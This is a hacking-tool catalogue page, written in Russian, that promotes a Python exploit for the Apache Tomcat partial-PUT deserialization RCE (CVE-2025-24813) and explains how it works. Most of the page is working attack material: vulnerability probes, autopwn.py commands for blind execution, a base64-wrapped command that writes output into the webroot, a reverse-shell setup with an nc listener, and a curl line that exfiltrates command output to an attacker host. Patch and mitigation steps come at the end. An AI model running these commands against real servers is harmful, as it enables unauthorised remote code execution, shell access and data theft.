Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-24813 — Python PoC, эксплуатирующий CVE-2025-24813 — RCE через десериализацию при частичном PUT в Apache Tomcat. Автоматически определяет уязвимые варианты, поддерживает слепое выполнение команд и обратные оболочки. | Kitploit
Инструменты/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHub
e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813

CVE-2025-24813

Python PoC, эксплуатирующий CVE-2025-24813 — RCE через десериализацию при частичном PUT в Apache Tomcat. Автоматически определяет уязвимые варианты, поддерживает слепое выполнение команд и обратные оболочки.

Репозиторий
16 ч 59 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-24813 — Apache Tomcat Partial PUT Deserialization RCE

Критичность: Critical (CVSS 9.8) Требуется аутентификация: Нет Затронуто: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Исправлено в: Tomcat 9.0.99 / 10.1.35 / 11.0.3


Как это работает

Apache Tomcat поддерживает partial PUT (чанковая загрузка через Content-Range). Когда поступает partial PUT, Tomcat сохраняет тело во временный файл в:

root@kitploit:~
$CATALINA_HOME/work/…/<url-path-filename>

Если приложение настроено с PersistentManager + FileStore в context.xml, Tomcat автоматически читает файлы *.session из того же рабочего каталога и десериализует их для восстановления сессий.

Объединяя эти два поведения:

root@kitploit:~
PUT /<sid>.session        →  записывает Java-сериализованный payload в work/<sid>.session
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat загружает и десериализует файл  →  RCE

Ведущая точка (.) в значении cookie запускает поиск сессии по абсолютному пути (вариант B), который надёжно достигает сохранённого файла.


Gadget Chain

Этот PoC использует CommonsCollections6 из ysoserial, который работает на Java 8–17 без флагов @jdk.internal и не зависит от sun.reflect.SerializationConstructorAccessorImpl.

root@kitploit:~
ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

Идентификация (Уязвима ли цель?)

Шаг 1 — Подтвердить Tomcat и версию

root@kitploit:~
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1  or  Apache Tomcat

Шаг 2 — Проверить, включён ли partial PUT

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

Шаг 3 — Запустить PoC (автоопределение)

root@kitploit:~
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable  → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln    → all lines show GET=200, no 500

Разбор вывода эксплойта

root@kitploit:~
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2
СтатусЗначение
PUT 201Файл сохранён в рабочем каталоге Tomcat
PUT 409Путь заблокирован (traversal отклонён)
GET 200Сессия не найдена / не десериализована
GET 500Десериализация запущена → RCE

Кодированный vs сырой payload — почему это важно

Загрузка представляет собой сырой бинарный Java-сериализованный поток — без URL-кодирования. В отличие от эксплойтов через query-параметры HTTP, payload передаётся в теле запроса через PUT, поэтому нет слоя URL-кодирования, с которым нужно бороться:

root@kitploit:~
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375

\xac\xed\x00\x05\x73\x72...  (raw serialized bytes — CommonsCollections6)

Заголовок Content-Range сигнализирует о частичной загрузке; Tomcat записывает тело на диск как есть, сохраняя каждый байт сериализованного payload.


Использование

Требования

root@kitploit:~
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)

Слепая команда (вывод идёт только на сервер)

root@kitploit:~
python3 autopwn.py http://192.168.61.148:9090 --command "id"

Чтение вывода через файл в webroot

root@kitploit:~
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

Reverse shell

root@kitploit:~
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

Скрипт автоматически определяет вариант A/B, останавливается после первого попадания и выводит выигрышный путь, чтобы вы точно знали, что сработало.

Все опции

root@kitploit:~
positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

Почему слепой RCE? Как получить вывод

CVE-2025-24813 является слепым — Runtime.exec() выполняет команду, но её stdout/stderr отбрасываются; HTTP-ответ отражает лишь то, удалась ли десериализация (500) или нет (200).

Три способа получить вывод:

МетодКак
Файл в webrootПеренаправить вывод в файл в /…/webapps/ROOT/, забрать через HTTP
Reverse shellФлаг --revshell — получить интерактивную оболочку, выполнять любые команды вживую
DNS/OOB`curl http://attacker/$(id

Исправление / Митигация

Патч (рекомендуется)

ВеткаУязвимаИсправлена
9.x9.0.0.M1 – 9.0.989.0.99+
10.1.x10.1.0-M1 – 10.1.3410.1.35+
11.x11.0.0-M1 – 11.0.211.0.3+
root@kitploit:~
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"

Обходной путь — отключить partial PUT

В $CATALINA_HOME/conf/web.xml найдите init-param DefaultServlet и установите:

root@kitploit:~
<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

Или отключите PersistentManager в context.xml, если он не требуется:

root@kitploit:~
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

Проверка после патча

root@kitploit:~
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

Ссылки

  • NVD — CVE-2025-24813
  • Apache Tomcat Security Advisory (9.x)
  • ysoserial

Только для авторизованного тестирования безопасности и образовательных целей.

Скачать инструмент